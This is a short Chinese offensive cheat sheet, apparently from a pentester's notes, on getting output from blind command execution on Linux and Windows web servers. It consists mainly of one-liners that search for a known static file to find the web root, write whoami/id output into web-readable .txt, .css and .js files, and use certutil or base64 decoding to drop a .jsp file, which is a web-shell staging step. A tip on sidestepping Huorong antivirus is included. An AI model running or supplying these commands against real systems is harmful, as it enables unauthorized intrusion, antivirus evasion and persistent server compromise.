windows
通过搜索特殊文件路径直接写入web可访问的目录,要熟悉常用中间件容器的目录结构,比如在我web目录有一个特殊的test.html
linux
1 | cd $(find . -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `id` > 1.txt |
windows
这个目录可能是bin目录,需要切换到其他目录
1 | $file = Get-ChildItem -Path ../../ -Filter test.html -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.txt");echo 222 |Out-File $f |
回显当前路径
1 | cmd /c echo %CD% |
最新的配置
写js文件,火绒会进行拦截,但一般js路径下,也可以写入css
windows,不需要编码,可直接使用Java.Runtime.exec执行
1 2 3 4 5 6 7 8 9 | # 获取路径,直接获取不到,可更换盘符号测试,基本就C/D/E这些 cmd /c "for /f %i in ('dir /s /b D:\jQuery-2.1.4.min.js') do (echo %i > %i.path.css)" # 执行命令,这边文件路径根据上面获取到的可缩小范围。 cmd /c "for /f %i in ('dir /s /b D:\wwwweb\jQuery-2.1.4.min.js') do (whoami > %i.path.css)" # 写文件,通过echo写文件,然后使用certutil解码。 cmd /c "for /f %i in ('dir /s /b D:\wwwweb\jQuery-2.1.4.min.js') do (echo MjMzMzMzMzMzMzMzMw== > %i.path.css) & (certutil -decode %i.path.css %i.path.css.jsp)" |
linux,需要base64编码,但这东西默认也有的。
1 2 3 4 5 6 7 8 9 | # 获取文件路径,不要太盲目全盘搜索,建议/usr/local/,/var/www/,或者/usr/,/var/,记得编码下 find /usr/local/ -name shiro.js|while read f;do dirname $f > $(dirname $f)/shiro.js.path.js;done # 执行命令 whoami > /usr/local/tomcat/webapps/ROOT/shiro.js.path.js # 写文件,也是base64编码再解码 echo MjMzMzMzMzMzMzMzMw== | base64 -d > /usr/local/tomcat/webapps/ROOT/shiro.js.path.jsp |